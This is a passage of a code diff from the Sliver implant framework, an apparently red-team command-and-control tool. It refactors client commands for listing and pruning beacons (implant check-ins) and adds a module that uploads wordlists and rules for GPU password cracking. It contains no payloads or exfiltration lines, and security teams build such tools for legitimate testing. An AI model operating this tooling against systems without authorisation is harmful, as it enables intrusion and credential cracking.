+		return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
+	}
+
+	return body, err
+}

client/command/armory/update.go

@@ -19,7 +19,7 @@ package armory
 */
 
 import (
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
@@ -69,7 +69,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
 	cachedAliases, _ := packagesInCache()
 	results := []string{}
 	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
-		data, err := ioutil.ReadFile(aliasManifestPath)
+		data, err := os.ReadFile(aliasManifestPath)
 		if err != nil {
 			continue
 		}
@@ -92,7 +92,7 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
 	_, cachedExtensions := packagesInCache()
 	results := []string{}
 	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
-		data, err := ioutil.ReadFile(extManifestPath)
+		data, err := os.ReadFile(extManifestPath)
 		if err != nil {
 			continue
 		}

client/command/backdoor/backdoor.go

@@ -19,11 +19,10 @@ package backdoor
 */
 
 import (
-	"context"
 	"fmt"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -42,10 +41,13 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	profileName := ctx.Flags.String("profile")
 
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
 	con.SpinUntil(msg, ctrl)
-	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
+	backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
 		Request:     con.ActiveTarget.Request(ctx),

client/command/beacons/beacons.go

@@ -19,7 +19,6 @@ package beacons
 */
 
 import (
-	"context"
 	"fmt"
 	"regexp"
 	"strings"
@@ -83,7 +82,9 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -109,7 +110,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -119,6 +121,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -127,6 +130,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"ID",
 			"Name",
 			"Transport",
+			"Hostname",
 			"Username",
 			"Operating System",
 			"Last Check-in",
@@ -141,42 +145,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}
 
-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
 
-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,18 +158,20 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct

client/command/beacons/helpers.go

@@ -20,7 +20,6 @@ package beacons
 
 import (
 	"bytes"
-	"context"
 	"errors"
 	"fmt"
 	"sort"
@@ -44,7 +43,9 @@ var (
 
 // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
 func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -101,7 +102,9 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
 }
 
 func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -109,7 +112,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 		return nil, ErrNoBeacons
 	}
 	for _, beacon := range beacons.Beacons {
-		if beacon.ID == beaconID {
+		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
 			return beacon, nil
 		}
 	}
@@ -117,7 +120,9 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 }
 
 func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}

client/command/beacons/prune.go

@@ -19,7 +19,6 @@ package beacons
 */
 
 import (
-	"context"
 	"time"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -37,7 +36,9 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
-	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -59,7 +60,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
 	for index, beacon := range pruneBeacons {
-		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			continue
@@ -75,7 +76,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	errCount := 0
 	for _, beacon := range pruneBeacons {
-		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			errCount++

client/command/beacons/rm.go

@@ -19,8 +19,6 @@ package beacons
 */
 
 import (
-	"context"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/desertbit/grumble"
 )
@@ -32,7 +30,9 @@ func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
+	grpcCtx, cancel := con.GrpcContext(ctx)
+	defer cancel()
+	_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/beacons/watch.go

@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func waitForInput() <-chan bool {
-	done := make(chan bool)
+	done := make(chan bool, 1)
 	go func() {
 		defer close(done)
 		fmt.Scanf("\n")

client/command/builders/builders.go

@@ -0,0 +1,71 @@
+package builders
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// BuildersCmd - List external builders
+func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if len(builders.Builders) == 0 {
+		con.PrintInfof("No external builders connected to server\n")
+	} else {
+		PrintBuilders(builders.Builders, con)
+	}
+}
+
+func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
+	})
+	for _, builder := range externalBuilders {
+
+		targets := []string{}
+		for _, target := range builder.Targets {
+			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
+		}
+
+		row := table.Row{
+			builder.Name,
+			builder.OperatorName,
+			strings.Join(builder.Templates, ", "),
+			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
+			strings.Join(targets, "\n"),
+		}
+		tw.AppendRow(table.Row(row))
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/completers/completers.go

@@ -19,12 +19,12 @@ package completers
 */
 
 import (
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 )
 
 // LocalPathCompleter - Completes a local file system path
@@ -46,11 +46,11 @@ func LocalPathCompleter(prefix string, args []string, con *console.SliverConsole
 	}
 
 	results := []string{}
-	ls, err := ioutil.ReadDir(parent)
+	ls, err := os.ReadDir(parent)
 	if err != nil {
 		return results
 	}
-	for _, fi = range ls {
+	for _, fi := range ls {
 		if 0 < len(partial) {
 			if strings.HasPrefix(fi.Name(), partial) {
 				results = append(results, filepath.Join(parent, fi.Name()))
@@ -61,3 +61,18 @@ func LocalPathCompleter(prefix string, args []string, con *console.SliverConsole
 	}
 	return results
 }
+
+// TrafficEncoderCompleter - Completes the names of traffic encoders
+func TrafficEncoderCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	grpcCtx, cancel := con.GrpcContext(nil)
+	defer cancel()
+	trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{})
+	if err != nil {
+		return []string{}
+	}
+	results := []string{}
+	for _, encoder := range trafficEncoders.Encoders {
+		results = append(results, encoder.Wasm.Name)
+	}
+	return results
+}

client/command/crack/crack-files.go

@@ -0,0 +1,483 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"crypto/sha256"
+	"encoding/hex"
+	"io"
+	"os"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/klauspost/compress/zstd"
+)
+
+// CrackWordlistsCmd - Manage GPU cracking stations
+func CrackWordlistsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(wordlists.Files) == 0 {
+		con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
+	} else {
+		PrintCrackFiles(wordlists, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
+			util.ByteCountBinary(wordlists.CurrentDiskUsage),
+			util.ByteCountBinary(wordlists.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackRulesCmd - Manage GPU cracking stations
+func CrackRulesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(rules.Files) == 0 {
+		con.PrintInfof("No rules files, add some using `crack rules add`\n")
+	} else {
+		PrintCrackFiles(rules, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
+			util.ByteCountBinary(rules.CurrentDiskUsage),
+			util.ByteCountBinary(rules.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackHcstat2Cmd - Manage GPU cracking stations
+func CrackHcstat2Cmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(hcstat2.Files) == 0 {
+		con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
+	} else {
+		PrintCrackFiles(hcstat2, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
+			util.ByteCountBinary(hcstat2.CurrentDiskUsage),
+			util.ByteCountBinary(hcstat2.MaxDiskUsage),
+		)
+	}
+}
+
+func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Name", "Size"})
+	for _, file := range crackFiles.Files {
+		tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
+	wordlistTable := table.NewWriter()
+	wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
+	wordlistTable.SetStyle(settings.GetTableStyle(con))
+	wordlistTable.AppendHeader(table.Row{"Name", "Size"})
+
+	rulesTable := table.NewWriter()
+	rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
+	rulesTable.SetStyle(settings.GetTableStyle(con))
+	rulesTable.AppendHeader(table.Row{"Name", "Size"})
+
+	hcTable := table.NewWriter()
+	hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
+	hcTable.SetStyle(settings.GetTableStyle(con))
+	hcTable.AppendHeader(table.Row{"Name", "Size"})
+
+	wordlists := 0
+	rules := 0
+	hc := 0
+	for _, file := range crackFiles.Files {
+		switch file.Type {
+		case clientpb.CrackFileType_WORDLIST:
+			wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			wordlists++
+		case clientpb.CrackFileType_RULES:
+			rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			rules++
+		case clientpb.CrackFileType_MARKOV_HCSTAT2:
+			hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			hc++
+		}
+	}
+
+	if wordlists > 0 {
+		con.Printf("%s\n", wordlistTable.Render())
+	}
+	if rules > 0 {
+		if wordlists > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", rulesTable.Render())
+	}
+	if hc > 0 {
+		if wordlists > 0 || rules > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", hcTable.Render())
+	}
+	con.Println()
+	con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
+	con.Printf("Disk quota %02.2f%% - %s of %s\n",
+		(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
+		util.ByteCountBinary(crackFiles.CurrentDiskUsage),
+		util.ByteCountBinary(crackFiles.MaxDiskUsage),
+	)
+}
+
+// CrackWordlistsAddCmd - Manage GPU cracking stations
+func CrackWordlistsAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Flags.String("name")
+	localPath := ctx.Args.String("path")
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	wordlistStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || wordlistStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = wordlistStat.Name()
+	}
+	wordlist, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer wordlist.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_WORDLIST,
+		Name:             name,
+		UncompressedSize: wordlistStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(wordlist, crackFile, con)
+}
+
+// CrackRulesAddCmd - add a rules file
+func CrackRulesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Flags.String("name")
+	localPath := ctx.Args.String("path")
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	rulesStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || rulesStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = rulesStat.Name()
+	}
+	rules, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer rules.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_RULES,
+		Name:             name,
+		UncompressedSize: rulesStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(rules, crackFile, con)
+}
+
+// CrackHcstat2AddCmd - add a hcstat2 file
+func CrackHcstat2AddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Flags.String("name")
+	localPath := ctx.Args.String("path")
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	hcstat2Stat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || hcstat2Stat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = hcstat2Stat.Name()
+	}
+	hcstat2, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer hcstat2.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_MARKOV_HCSTAT2,
+		Name:             name,
+		UncompressedSize: hcstat2Stat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(hcstat2, crackFile, con)
+}
+
+func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
+	digest := sha256.New()
+	wordlistReader := io.TeeReader(localFile, digest)
+
+	chunks := make(chan []byte, 1) // Chunks are in-memory!
+
+	var chunkReaderErr error
+	go func() {
+		chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
+	}()
+	n := uint32(0)
+	total := int64(0)
+	errors := []error{}
+	for chunk := range chunks {
+		total += int64(len(chunk))
+		con.PrintInfof("Uploading %s (chunk %d - %s) ...",
+			util.ByteCountBinary(total),
+			n,
+			util.ByteCountBinary(int64(len(chunk))),
+		)
+		_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
+			CrackFileID: crackFile.ID,
+			N:           n,
+			Data:        chunk,
+		})
+		n++
+		if err != nil {
+			errors = append(errors, err)
+			continue
+		}
+	}
+	con.Printf(console.Clearln + "\r")
+	if chunkReaderErr != nil {
+		con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
+		return
+	}
+	if len(errors) > 0 {
+		for _, err := range errors {
+			con.PrintErrorf("Failed to upload chunk: %s\n", err)
+		}
+		return
+	}
+	_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
+		ID:       crackFile.ID,
+		Sha2_256: hex.EncodeToString(digest.Sum(nil)),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to complete file upload: %s\n", err)
+		return
+	}
+	con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
+}
+
+func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
+	defer close(chunks)
+	start := int64(0)
+	tmpFile, err := os.CreateTemp("", "sliver-wordlist")
+	if err != nil {
+		return err
+	}
+	defer tmpFile.Close()
+	compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
+	for {
+		readBuf := make([]byte, 32*1024*1024) // 32MB
+		readN, readErr := wordlistReader.Read(readBuf)
+		if readErr != nil && readErr != io.EOF {
+			return err
+		}
+		if readN != 0 {
+			_, err := compressor.Write(readBuf[:readN])
+			if err != nil {
+				return err
+			}
+			compressor.Flush()
+			tmpFileStat, err := os.Stat(tmpFile.Name())
+			if err != nil {
+				return err
+			}
+			if tmpFileStat.Size()-start >= chunkSize {
+				stop := start + chunkSize
+				chunk, err := readChunkAt(tmpFile, start, chunkSize)
+				if err != nil {
+					return err
+				}
+				chunks <- chunk
+				start = stop
+			}
+		}
+		if readErr == io.EOF {
+			chunk, err := readChunkAt(tmpFile, start, chunkSize)
+			if err != nil {
+				return err
+			}
+			chunks <- chunk
+			return nil
+		}
+	}
+}
+
+func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
+	chunkBuf := make([]byte, chunkSize)
+	n, err := tmpFile.ReadAt(chunkBuf, offset)
+	if err != nil && err != io.EOF {
+		return nil, err
+	}
+	return chunkBuf[:n], nil
+}
+
+// CrackWordlistsRmCmd - Manage GPU cracking stations
+func CrackWordlistsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	wordlistName := ctx.Args.String("name")
+	if wordlistName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, wordlist := range wordlists.Files {
+		if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed wordlist: %s\n", wordlistName)
+	} else {
+		con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
+	}
+}
+
+// CrackRulesRmCmd - Manage GPU cracking stations
+func CrackRulesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	rulesName := ctx.Args.String("name")
+	if rulesName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, rulesFile := range rules.Files {
+		if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed rules: %s\n", rulesName)
+	} else {
+		con.PrintErrorf("Rules not found: %s\n", rulesName)
+	}
+}
+
+// CrackHcstat2RmCmd - remove a hcstat2 file
+func CrackHcstat2RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	hcstat2Name := ctx.Args.String("name")
+	if hcstat2Name == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, hcstat2File := range hcstat2s.Files {
+		if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
